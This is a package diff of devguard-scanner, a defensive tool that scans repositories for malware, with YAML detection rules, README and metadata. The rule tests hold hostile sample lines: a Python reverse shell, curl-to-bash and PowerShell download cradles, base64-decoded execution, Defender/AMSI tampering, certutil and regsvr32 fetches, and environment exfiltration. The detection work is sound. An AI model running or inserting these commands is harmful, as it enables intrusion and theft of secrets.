devguard-scanner 0.1.0__py3-none-any.whl

devguard/rules/content/python.yaml

@@ -0,0 +1,144 @@
+pack: python
+rules:
+  - id: DG-PY-EXEC-DECODED-001
+    title: Decoded or decompressed data executed
+    threat: [TC-07.2, TC-08.5, TC-08.6]
+    languages: [python]
+    severity: critical
+    confidence: high
+    within: lines:3
+    match:
+      all:
+        - regex: '\b(b64decode|b32decode|a85decode|decodebytes|zlib\.decompress|lzma\.decompress|bz2\.decompress|marshal\.loads|codecs\.decode|bytes\.fromhex|unhexlify)\s*\(|__import__\(\s*[''"](base64|zlib|marshal|codecs)[''"]\s*\)'
+        - regex: '\b(exec|eval)\s*\(|\bcompile\s*\([^)\n]*[''"]exec[''"]'
+    explanation: >
+      Encoded or compressed data is decoded and executed. Layered exec(zlib/base64/marshal) is
+      the standard wrapper for malicious Python payloads.
+    benign_context: Very rare in legitimate code outside of packers and self-extracting installers.
+    tests:
+      positive:
+        - |
+          exec(base64.b64decode("cHJpbnQoMSk="))
+        - |
+          import zlib,base64
+          code = zlib.decompress(base64.b64decode(blob))
+          exec(code)
+      negative:
+        - |
+          data = base64.b64decode(payload)
+          print(len(data))
+
+  - id: DG-PY-DOWNLOAD-EXEC-001
+    title: Remote content fetched and executed
+    threat: [TC-07.1, TC-07.2]
+    languages: [python]
+    severity: critical
+    confidence: medium
+    within: lines:6
+    match:
+      all:
+        - regex: '\b(urlopen|urlretrieve|requests\.(get|post)|httpx\.(get|post)|urllib\.request\.\w+|http\.client\.\w+)\s*\('
+        - regex: '\b(exec|eval)\s*\('
+    explanation: Code downloaded from the network is executed directly.
+    tests:
+      positive:
+        - |
+          src = urllib.request.urlopen("https://example.invalid/x").read()
+          exec(src)
+        - |
+          exec(requests.get(u).text)
+      negative:
+        - |
+          r = requests.get(u)
+          data = r.json()
+
+  - id: DG-PY-DOWNLOAD-RUN-001
+    title: File downloaded and run as a process
+    threat: [TC-07.1, TC-07.3]
+    languages: [python]
+    severity: high
+    confidence: medium
+    within: lines:15
+    match:
+      all:
+        - regex: '\b(urlopen|urlretrieve|requests\.get|httpx\.get)\s*\('
+        - regex: '\b(subprocess\.(run|Popen|call|check_call|check_output)|os\.(system|popen|startfile|exec\w+))\s*\('
+        - regex: '\bos\.chmod\s*\(|\.write\s*\(|urlretrieve'
+    explanation: The script downloads a file and starts a process shortly after, the typical second-stage dropper pattern.
+    benign_context: Bootstrap scripts that download a pinned tool from an official release URL.
+    tests:
+      positive:
+        - |
+          urllib.request.urlretrieve(u, p)
+          os.chmod(p, 0o755)
+          subprocess.Popen([p])
+      negative:
+        - |
+          r = requests.get(u)
+          print(r.status_code)
+
+  - id: DG-PY-ENV-HARVEST-001
+    title: Whole environment serialized and sent over the network
+    threat: [TC-07.4, TC-07.5]
+    languages: [python]
+    severity: high
+    confidence: medium
+    match:
+      all:
+        - regex: '\bdict\(\s*os\.environ\s*\)|json\.dumps\(\s*(dict\()?\s*os\.environ|\bos\.environ\.copy\(\)|\{\*\*os\.environ'
+        - regex: '\b(requests\.(post|put)|httpx\.(post|put)|urlopen|socket\.\w+|smtplib)\b'
+    explanation: The script collects all environment variables and transmits data over the network.
+    benign_context: Copying os.environ to pass to subprocess is common; check what is actually sent.
+    tests:
+      positive:
+        - |
+          requests.post(u, json=dict(os.environ))
+      negative:
+        - |
+          env = os.environ.copy(); env["X"] = "1"; subprocess.run(cmd, env=env)
+
+  - id: DG-PY-SETUP-CMDCLASS-001
+    title: setup.py overrides install commands
+    threat: [TC-04.3]
+    languages: [python]
+    paths: [setup.py]
+    severity: medium
+    confidence: medium
+    category: lifecycle
+    match:
+      all:
+        - regex: '\bcmdclass\s*='
+        - regex: 'class\s+\w+\s*\(\s*(install|develop|egg_info|build_py|sdist|bdist_egg)\b'
+    explanation: >
+      setup.py replaces a standard install command with custom code, which runs automatically
+      when the package is installed from source.
+    benign_context: Packages that compile extensions or generate files sometimes customize build commands.
+    tests:
+      path: setup.py
+      positive:
+        - |
+          class PostInstall(install):
+              def run(self): install.run(self); os.system("x")
+          setup(cmdclass={"install": PostInstall})
+      negative:
+        - |
+          setup(name="x", packages=["x"])
+
+  - id: DG-PY-PTY-SHELL-001
+    title: Socket connected to an interactive shell
+    threat: [TC-07.7]
+    languages: [python]
+    severity: critical
+    confidence: high
+    match:
+      all:
+        - regex: '\bsocket\.socket\s*\('
+        - regex: '\bos\.dup2\s*\(|\bpty\.spawn\s*\('
+    explanation: A socket is wired to the process's standard streams or a PTY, which is a reverse shell.
+    tests:
+      positive:
+        - |
+          s=socket.socket();s.connect((h,4444));os.dup2(s.fileno(),0);pty.spawn("/bin/sh")
+      negative:
+        - |
+          s = socket.socket(); s.connect((h, 80)); s.send(b"GET /")

devguard/rules/content/shell.yaml

@@ -0,0 +1,109 @@
+pack: shell
+rules:
+  - id: DG-SH-PIPE-SHELL-001
+    title: Download piped directly into an interpreter
+    threat: [TC-07.1]
+    languages: [shell, make]
+    severity: high
+    confidence: high
+    match:
+      any:
+        - regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da|k)?sh\b'
+        - regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(python3?|node|perl|ruby|php)\b'
+        - regex: '\b(ba|z)?sh\s+(-c\s+)?["'']?\$\(\s*(curl|wget)\b'
+        - regex: '\b(ba|z)?sh\s+<\(\s*(curl|wget)\b'
+    explanation: Remote content is executed without being saved or reviewed first.
+    benign_context: Well-known installers (rustup, nvm, Homebrew) are distributed this way from official domains.
+    next_step: Check the URL's domain. Never run it from an untrusted repository.
+    tests:
+      positive:
+        - |
+          curl -fsSL https://example.invalid/i.sh | bash
+        - |
+          bash -c "$(wget -qO- https://example.invalid/x)"
+      negative:
+        - |
+          curl -fsSL -o install.sh https://example.invalid/i.sh
+
+  - id: DG-SH-PIPE-SHELL-002
+    title: Container or CI build pipes a download into a shell
+    threat: [TC-04.11, TC-06.7]
+    languages: [dockerfile, yaml]
+    severity: low
+    confidence: medium
+    category: build-config
+    match:
+      regex: '\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+(-\S+\s+)*)?(ba|z|da)?sh\b'
+    explanation: >
+      A Dockerfile or CI configuration executes a downloaded script. It runs inside the container or CI runner,
+      not on your machine, but still trusts whatever the URL serves at build time.
+    benign_context: Common for official vendor setup scripts (e.g. NodeSource, rustup).
+    tests:
+      positive:
+        - |
+          RUN curl -fsSL https://example.invalid/setup.sh | bash -
+      negative:
+        - |
+          RUN apt-get update && apt-get install -y curl
+
+  - id: DG-SH-BASE64-EXEC-001
+    title: Base64 payload decoded and executed by a shell
+    threat: [TC-07.2, TC-08.5]
+    languages: [shell, dockerfile, make, yaml]
+    severity: high
+    confidence: high
+    match:
+      any:
+        - regex: 'base64\s+(-d|--decode|-D)\b[^|\n]*\|\s*(sudo\s+)?(ba|z)?sh\b'
+        - regex: '\becho\s+["'']?[A-Za-z0-9+/=]{40,}["'']?\s*\|\s*base64\s+(-d|--decode|-D)'
+        - regex: '\beval\s+"?\$\(\s*(echo|printf)[^)]*\|\s*base64\s+(-d|--decode)'
+    explanation: A hidden command is stored base64-encoded and executed, which hides its intent from reviewers.
+    tests:
+      positive:
+        - |
+          echo ZWNobyBoZWxsbyB3b3JsZCAmJiBpZCAmJiB3aG9hbWkgJiYgdW5hbWUgLWE= | base64 -d | sh
+      negative:
+        - |
+          base64 -d cert.b64 > cert.pem
+
+  - id: DG-SH-DOWNLOAD-CHMOD-RUN-001
+    title: Binary downloaded, made executable, and run
+    threat: [TC-07.1, TC-07.3]
+    languages: [shell, dockerfile, make]
+    severity: medium
+    confidence: medium
+    within: lines:6
+    match:
+      all:
+        - regex: '\b(curl|wget)\b[^\n]*(-o|-O|--output)\s*\S+'
+        - regex: '\bchmod\s+(\+x|[0-7]?7[0-7][0-7])\s'
+        - regex: '(^|[;&|\s])(\./|/tmp/|\$HOME/|~/)[\w./-]+'
+    explanation: A file is downloaded, marked executable, and started, the shape of a dropper.
+    benign_context: CI and install scripts fetch pinned tool releases this way.
+    tests:
+      positive:
+        - |
+          curl -sL https://example.invalid/a -o /tmp/a
+          chmod +x /tmp/a
+          /tmp/a &
+      negative:
+        - |
+          curl -sL https://example.invalid/a.tar.gz -o a.tgz
+          tar xzf a.tgz
+
+  - id: DG-SH-HISTORY-EVASION-001
+    title: Shell history tampering
+    threat: [TC-07.9]
+    languages: [shell]
+    severity: medium
+    confidence: medium
+    match:
+      regex: '\bunset\s+HISTFILE\b|\bhistory\s+-c\b|\bHISTSIZE=0\b|\bHISTFILE=/dev/null\b'
+    explanation: The script hides its activity by disabling or clearing shell history.
+    tests:
+      positive:
+        - |
+          unset HISTFILE; history -c
+      negative:
+        - |
+          echo "$HISTFILE"

devguard/rules/content/windows.yaml

@@ -0,0 +1,95 @@
+pack: windows
+rules:
+  - id: DG-PS-DOWNLOAD-EXEC-001
+    title: PowerShell download cradle
+    threat: [TC-07.1, TC-07.2]
+    languages: &code [javascript, python, shell, powershell, batch, vbscript, json, yaml, toml, ini, xml, dockerfile, make, ruby, php, go, perl, groovy, kotlin, java, csharp, lua, rust, dotenv]
+    severity: critical
+    confidence: high
+    match:
+      any:
+        - regex: '(?i)\b(iex|Invoke-Expression)\b[^\n]{0,200}\b(iwr|irm|Invoke-WebRequest|Invoke-RestMethod|DownloadString|DownloadData|Net\.WebClient)\b'
+        - regex: '(?i)\b(iwr|irm|Invoke-WebRequest|Invoke-RestMethod|DownloadString)\b[^\n|]{0,200}\|\s*(iex|Invoke-Expression)\b'
+    explanation: Remote PowerShell content is downloaded and executed in memory.
+    benign_context: Some official installers (e.g. Chocolatey, Scoop) document this pattern.
+    tests:
+      positive:
+        - |
+          iex (New-Object Net.WebClient).DownloadString('https://example.invalid/a.ps1')
+        - |
+          irm https://example.invalid/x | iex
+      negative:
+        - |
+          Invoke-WebRequest -Uri $u -OutFile out.zip
+
+  - id: DG-PS-ENCODED-001
+    title: PowerShell encoded command
+    threat: [TC-07.2, TC-08.5]
+    languages: *code
+    severity: high
+    confidence: high
+    match:
+      regex: '(?i)\b(powershell|pwsh)(\.exe)?\b[^\n]*\s-(e|ec|en|enc|enco|encodedcommand)\s+[A-Za-z0-9+/=]{20,}'
+    explanation: The command line hides a PowerShell script as base64 (-EncodedCommand), a common obfuscation step.
+    tests:
+      positive:
+        - |
+          powershell.exe -NoP -W Hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA
+      negative:
+        - |
+          powershell -File build.ps1 -Environment prod
+
+  - id: DG-PS-HIDDEN-WINDOW-001
+    title: Hidden PowerShell window
+    threat: [TC-07.3, TC-07.9]
+    languages: *code
+    severity: medium
+    confidence: medium
+    match:
+      regex: '(?i)\b(powershell|pwsh)(\.exe)?\b[^\n]*\s-(w|wi|win|window|windowstyle)\s+h(idden)?\b'
+    explanation: PowerShell is started with a hidden window so the user does not see it run.
+    tests:
+      positive:
+        - |
+          start powershell -WindowStyle Hidden -File x.ps1
+      negative:
+        - |
+          powershell -NoProfile -File x.ps1
+
+  - id: DG-PS-AV-TAMPER-001
+    title: Antivirus / AMSI tampering
+    threat: [TC-07.9]
+    languages: *code
+    severity: critical
+    confidence: high
+    match:
+      regex: '(?i)\bAmsiUtils\b|\bamsiInitFailed\b|\bSet-MpPreference\b[^\n]*-Disable\w*|\bAdd-MpPreference\b[^\n]*-Exclusion\w*'
+    explanation: The code disables or bypasses Windows Defender / AMSI, which legitimate project code has no reason to do.
+    tests:
+      positive:
+        - |
+          Add-MpPreference -ExclusionPath $env:TEMP
+      negative:
+        - |
+          Get-MpComputerStatus
+
+  - id: DG-WIN-LOLBIN-001
+    title: Windows living-off-the-land binary used to fetch or run code
+    threat: [TC-07.1]
+    languages: *code
+    severity: high
+    confidence: high
+    match:
+      regex: '(?i)\b(mshta|rundll32|regsvr32|certutil|bitsadmin|wmic)(\.exe)?\b[^\n]*(https?:|-urlcache|/i:|javascript:|-decode\b|/transfer\b|process\s+call\s+create)'
+    explanation: >
+      A built-in Windows binary is abused to download or execute code (mshta, certutil -urlcache,
+      regsvr32 /i:http, bitsadmin /transfer, ...).
+    tests:
+      positive:
+        - |
+          certutil -urlcache -split -f https://example.invalid/a.exe a.exe
+        - |
+          regsvr32 /s /n /u /i:https://example.invalid/a.sct scrobj.dll
+      negative:
+        - |
+          certutil -hashfile file.zip SHA256

devguard/rules/data/vscode_settings.yaml

@@ -0,0 +1,81 @@
+# VS Code settings whose value makes an extension run a program (TC-01.3).
+# Data file: extend without code changes. Keys are matched exactly; suffixes match the end of a key.
+executable_keys:
+  - python.defaultInterpreterPath
+  - python.pythonPath
+  - python.condaPath
+  - python.poetryPath
+  - python.pipenvPath
+  - typescript.tsdk
+  - js/ts.tsdk.path
+  - eslint.nodePath
+  - eslint.runtime
+  - prettier.prettierPath
+  - go.alternateTools
+  - go.toolsGopath
+  - rust-analyzer.server.path
+  - java.jdt.ls.java.home
+  - java.home
+  - git.path
+  - php.validate.executablePath
+  - php.executablePath
+  - clangd.path
+  - C_Cpp.clang_format_path
+  - cmake.cmakePath
+  - deno.path
+  - rubyLsp.rubyExecutablePath
+  - ruby.interpreter.commandPath
+  - omnisharp.path
+  - dotnet.dotnetPath
+  - julia.executablePath
+  - dart.sdkPath
+  - dart.flutterSdkPath
+  - ruff.path
+  - ruff.interpreter
+  - pylint.path
+  - pylint.interpreter
+  - flake8.path
+  - black-formatter.path
+  - isort.path
+  - mypy-type-checker.path
+  - terminal.external.linuxExec
+  - terminal.external.osxExec
+  - terminal.external.windowsExec
+executable_suffixes:
+  - .executablePath
+  - .serverPath
+  - .commandPath
+  - .interpreterPath
+  - .binaryPath
+  - .exePath
+  - .nodePath
+command_keys:
+  - rust-analyzer.cargo.buildScripts.overrideCommand
+  - rust-analyzer.check.overrideCommand
+  - rust-analyzer.procMacro.server
+  - jest.jestCommandLine
+  - jest.shell
+  - npm.scriptRunner
+command_suffixes:
+  - .overrideCommand
+  - .commandLine
+  - CommandLine
+# files.exclude / search.exclude patterns that are normal and never reported
+benign_exclude_patterns:
+  - "**/.git"
+  - "**/.svn"
+  - "**/.hg"
+  - "**/CVS"
+  - "**/.DS_Store"
+  - "**/Thumbs.db"
+  - "**/node_modules"
+  - "**/__pycache__"
+  - "**/*.pyc"
+  - "**/.pytest_cache"
+  - "**/.mypy_cache"
+  - "**/dist"
+  - "**/out"
+  - "**/build"
+  - "**/coverage"
+  - "**/bower_components"
+  - "**/*.code-search"

devguard_scanner-0.1.0.dist-info/METADATA

@@ -0,0 +1,84 @@
+Metadata-Version: 2.5
+Name: devguard-scanner
+Version: 0.1.0
+Summary: Scan untrusted code repositories for malware before you open, install, or run them. Files are analyzed as data and never executed.
+Project-URL: Homepage, https://github.com/yilmazhasan/dev-guard
+Project-URL: Documentation, https://github.com/yilmazhasan/dev-guard/tree/main/docs
+Project-URL: Issues, https://github.com/yilmazhasan/dev-guard/issues
+Project-URL: Changelog, https://github.com/yilmazhasan/dev-guard/blob/main/CHANGELOG.md
+Author: yilmazhasan
+License-Expression: Apache-2.0
+License-File: LICENSE
+Keywords: devsecops,malware,mcp,scanner,security,supply-chain,vscode
+Classifier: Development Status :: 3 - Alpha
+Classifier: Environment :: Console
+Classifier: Intended Audience :: Developers
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Programming Language :: Python :: 3.14
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Quality Assurance
+Requires-Python: >=3.12
+Requires-Dist: pydantic<3,>=2.7
+Requires-Dist: pyyaml<7,>=6.0.1
+Provides-Extra: anthropic
+Requires-Dist: anthropic<2,>=1.0; extra == 'anthropic'
+Provides-Extra: mcp
+Requires-Dist: mcp<3,>=2.3; extra == 'mcp'
+Provides-Extra: openai
+Requires-Dist: openai<4,>=1.50; extra == 'openai'
+Description-Content-Type: text/markdown
+
+# DevGuard
+
+Scan a repository for malware **before** you open it in your IDE, install its dependencies, or run it.
+
+Malicious repositories (fake job-interview tasks, poisoned forks, hijacked packages) rarely wait for you to run
+`main.py`. They run automatically: a VS Code task on folder open, an npm `postinstall` script, a git hook, an AI
+assistant hook, a loader hidden in `tailwind.config.js`. DevGuard finds those triggers, follows them to the code
+they run, and tells you whether it is safe to proceed. It reads files as data and **never executes anything**.
+
+## Install
+
+```bash
+pipx install devguard-scanner        # or: uv tool install devguard-scanner
+```
+
+## Use
+
+```bash
+devguard scan path/to/repo
+```
+
+```text
+DevGuard scan complete
+Target:   interview-task
+Verdict:  BLOCK | Do not open, install, or run this project. Strong indicators of malicious behavior were found.
+Findings: 5 (1 critical, 2 high, 1 medium, 1 low)
+  - [critical] Automatic trigger reaches dangerous code (package.json:5)
+  - [high] Browser profile data targeted (lib/collect.js:7)
+  - [high] Cryptocurrency wallet data targeted (lib/collect.js:10)
+Report (md): ~/.local/share/devguard/reports/interview-task-1a2b3c4d/latest/report.md
+```
+
+| Verdict | Meaning |
+|---|---|
+| `block` | Do not open, install, or run it. |
+| `review` | Read the report first. |
+| `indicators` | Weak signals only, often benign. |
+| `no-indicators` | Nothing found by the enabled checks (not a guarantee). |
+
+Exit code `1` means findings at or above `--fail-on` (default `high`), so it works as a CI gate.
+
+## More
+
+- [Getting started](docs/getting-started.md): options, reports, exit codes
+- [AI investigation](docs/ai.md): optional explanations from Claude, OpenAI, Gemini, or a local model
+- [Provider plugins](docs/plugins.md): connect any LLM with a small Python file
+- [MCP server](docs/mcp.md): let Claude Code, Cursor, or Copilot check a repo before acting on it
+- [CI and pre-commit](docs/ci.md) · [Configuration](docs/configuration.md) · [How it works](docs/how-it-works.md)
+- [Contributing](CONTRIBUTING.md) · [Security policy](SECURITY.md)
+
+Licensed under [Apache-2.0](LICENSE).

devguard_scanner-0.1.0.dist-info/RECORD

@@ -0,0 +1,67 @@
+devguard/__init__.py,sha256=NkueeYLERgJ3rqqdUo-QMYc2AxEYTNaQE4vRqI4qoh4,147
+devguard/cli.py,sha256=LibIluIzqL8VJEg7G-ZhBGTsffkX0YTvxP_v8bXssR8,12828
+devguard/ai/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/ai/investigator.py,sha256=wucE0DvYW58C_UIOYtY3ZEhix6Sr96MGSZ9drKnF8t8,15651
+devguard/ai/prompts.py,sha256=rNsNKKGWujXBWheCIgMbwCByxzyaob1fXS91eLWJk2Q,5313
+devguard/ai/registry.py,sha256=GVnA8sm8dwU-BawIfIoc74ESaa5VbcDTzRFkPWPsTYI,6335
+devguard/ai/run.py,sha256=caSwXjAyBvjX4O9oGHhY6B3UAtyrcDpZ5TuFZP0UeU8,4574
+devguard/ai/sdk.py,sha256=ilRyC7FWQgm0v9kkknXLjUQfunR-TNRYHMpWWr5ntIE,3122
+devguard/ai/testing.py,sha256=3VtugRlKQ0VF5zrX2PjV2E1lKdae94eesToIlHZQw6M,4637
+devguard/ai/tools.py,sha256=3V6Fa8_LLIFLMExujnJwtIDW0E4it5hP3toQwL_H1_8,14478
+devguard/ai/providers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/ai/providers/anthropic.py,sha256=5-AHoDIsA3Y7PZ5pNOJVS5YqlSyV76MlMZkoKtLB0D0,6821
+devguard/ai/providers/openai_compat.py,sha256=t2Iy8uCaZNzqv7pgGM7ORVq_f-AdQoa936ekQkxXjjk,6611
+devguard/analyzers/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/analyzers/base.py,sha256=0XCC1U6EvYcmYGVpcPsqy0_oOFzCcuxgoB058-m95G0,4390
+devguard/analyzers/carriers.py,sha256=C4g2tiPsFhEvTntX4fTDysolcpcXciM0AJEN3x3i4P4,11811
+devguard/analyzers/command.py,sha256=bptEm5Ex2HiK6p2FN6tPquumO1fu4PTib1glOTJ-vTQ,12442
+devguard/analyzers/content.py,sha256=O9cjW7t6-JEnwjwG8UsXJJkS03mInppaiB9QrHooUPY,8552
+devguard/analyzers/filesystem.py,sha256=BM2kjwY-mbZ6aGDbhToAzcbjSnzJFN5qI_lyphKTsDE,5023
+devguard/analyzers/hidden.py,sha256=twlneGIgbohU1nMmr5NXKRBs7JS4LftBAvWNjipzjQ4,9939
+devguard/analyzers/imports.py,sha256=gga66Ejd-O5AMLLPq87M1nlkC_VVqJTtrq3MgfFN-Og,3875
+devguard/analyzers/jsonc.py,sha256=6AY2QvkCLxUYOO7HbIIUXwuPH3hmPESVTng7zBg0ov4,7402
+devguard/analyzers/surfaces/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/analyzers/surfaces/ai_assistants.py,sha256=x2uRr46XYdCFSCqVKAwnk7VtRNp2FA_aA12PbuoDQ88,11599
+devguard/analyzers/surfaces/autoload.py,sha256=t_KZ8ucRtXQmVyW6gJpQPOmjFKr4AZhfYLrCVcxNOPM,4962
+devguard/analyzers/surfaces/common.py,sha256=9wc4WSE37G3hxNzl85QO-pIZhHzx13C4ZHJ1FiTUq1g,7682
+devguard/analyzers/surfaces/deps.py,sha256=6g34JqZ17mQ3u7kGQ_jN0bl6Za1V2q7uvtLMdpbefG8,6638
+devguard/analyzers/surfaces/devcontainer.py,sha256=Uo4PKukhVgrxxbJjpNLviFFtjhuFbwnAHzEDCf954dI,7500
+devguard/analyzers/surfaces/env.py,sha256=FAe2ae0GkRO8aEw2lvc5NTllyPQlZwz88YGR0Z7K8Lk,1904
+devguard/analyzers/surfaces/git.py,sha256=xwcbj4MdV2Zvn4ii7uPdwPVrPxruOjx8fBlFvcmgxdA,9002
+devguard/analyzers/surfaces/npm.py,sha256=RJkr8xm9fAIDzWZW7jevgvuHpBZqVlFYSEUZiBY7qik,12223
+devguard/analyzers/surfaces/python_pkg.py,sha256=PHP0jIcfSyCqlDiVRKZEK07mNB1CfizpuYsol2SqwIY,5494
+devguard/analyzers/surfaces/vscode.py,sha256=mmo50W5nzcoQKp6XG_6kPzMS1kpnI5wtKNunn1E6Lkk,21081
+devguard/core/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/core/config.py,sha256=P2igrTVebTQ0m29o25jyFNCAvNc3y61JnqajtGaTYxs,5040
+devguard/core/filetype.py,sha256=4jdXDt3bpokjegd5EUFHXl39jgW8CJxymUU0AkDmSjU,8563
+devguard/core/models.py,sha256=mDhSvKWQXLUN6Blh5Kva51EByt_vuaIi2848y9zFxeg,5603
+devguard/core/redact.py,sha256=CJVQufViwQiGkzRw3eRN-As3BHDTm6H3QrDfG4Lt3T4,2521
+devguard/core/safefs.py,sha256=ijC7jxc18JWGTydSa4F_fxG_f8P36Esk4Zoxef5va6s,10746
+devguard/core/scoring.py,sha256=rR3IgUXob2MJ10bOP_dtVc0TtgiyWgFZYc1D-4l9W8Q,2547
+devguard/core/service.py,sha256=nay8dcq2XlwhuM323WeCDcyI3nRHa3GJ2tP9mKA7FJU,8055
+devguard/correlate/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/correlate/chains.py,sha256=Jj7CeY_BBfGHf1cW7Nl53aorF4mGQ5-xFYrkGqQ6tGw,6649
+devguard/mcp/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/mcp/server.py,sha256=Fl07jA6CFGb5BmqxTQzyitBKmmhtZuicPAW6NCq1ZiI,20089
+devguard/report/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/report/escape.py,sha256=uFWFSE1EhWk0tOBO4y15rFrcg-Uot_Qdakqv8gWVZn0,1195
+devguard/report/markdown.py,sha256=9HYSh0EylQKZgE2pcpOuqWWi5s8vLUxO_z5k1VrDWfc,8918
+devguard/report/sarif.py,sha256=Jemo_ovPAHxggEBq3W8oqGTiego3T82FAMaP8liH8vc,3194
+devguard/report/terminal.py,sha256=f7Ly6kNro1wNyGXAfekmzsZfxRktFV9ZtiuTT7rZO-k,1806
+devguard/report/writer.py,sha256=7fPlKO4L7dP1nb7zRTRT7aKDwPhkyYB28aYdxJkA__8,1887
+devguard/rules/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+devguard/rules/catalog.py,sha256=q5s1qyq5uiAPUNZ5KwQYiXmFTIP2AioBmNdTIjDN90I,2783
+devguard/rules/content/ai_instructions.yaml,sha256=GlbUZZRqaUNcIuTlyo_WFaWB-DaKZyn5tZoxOf7Pfao,5288
+devguard/rules/content/cross_language.yaml,sha256=B7Pb-rG8uFBXw-P-6_rZosmYpFppo34QCBRtDgYDFh8,9665
+devguard/rules/content/docs.yaml,sha256=JPqoJVOMNlWS0D72EoHj366dUF_14NPPWYyY5o9HM0w,2959
+devguard/rules/content/javascript.yaml,sha256=0WR0PdM6SzSwfaEX1zGkVfoeBaZvjS67SP69ydm-12o,6782
+devguard/rules/content/obfuscation.yaml,sha256=V5LPPuRhqzT0qbguzzG1baV8Wwo8rrmx7vZfSflBIcc,5521
+devguard/rules/content/python.yaml,sha256=jKZQIuM5aJv2ALqsQSWEway1hbV-VjhDdTRDrx2aqJI,5153
+devguard/rules/content/shell.yaml,sha256=UCIdg1sHXWPRPT8cIWDkHb6silhxCTcVZ3_GO0EYZuM,3986
+devguard/rules/content/windows.yaml,sha256=RveR6Td4wmIfBBMzpO_xSQpuMFefwU34BWYTCUY58U4,3622
+devguard/rules/data/vscode_settings.yaml,sha256=mKD9hFn9wyB9GkD2Egcy6hIFem4DsDRolFxXkEFoK2M,1918
+devguard_scanner-0.1.0.dist-info/METADATA,sha256=kc-GIPEuyfplWsgUIMRq1IWuY3ISiw1L4ftMJG45_cY,3614
+devguard_scanner-0.1.0.dist-info/WHEEL,sha256=W3fkpkm7-wf9vBI5Z-7s0eWkeM-spu78I8Neb98DeEg,87
+devguard_scanner-0.1.0.dist-info/entry_points.txt,sha256=n6ppyZCnhPEULRWQ2eJg2-QOdb9obMUeeHd2mY89ygM,266
+devguard_scanner-0.1.0.dist-info/licenses/LICENSE,sha256=xx0jnfkXJvxRnG63LTGOxlggYnIysveWIZ6H3PNdCrQ,11357
+devguard_scanner-0.1.0.dist-info/RECORD,,

devguard_scanner-0.1.0.dist-info/WHEEL

@@ -0,0 +1,4 @@
+Wheel-Version: 1.0
+Generator: hatchling 1.32.4
+Root-Is-Purelib: true
+Tag: py3-none-any

devguard_scanner-0.1.0.dist-info/entry_points.txt

@@ -0,0 +1,7 @@
+[console_scripts]
+devguard = devguard.cli:main
+
+[devguard.ai_providers]
+anthropic = devguard.ai.providers.anthropic:make_provider
+openai = devguard.ai.providers.openai_compat:make_openai_provider
+openai-compatible = devguard.ai.providers.openai_compat:make_provider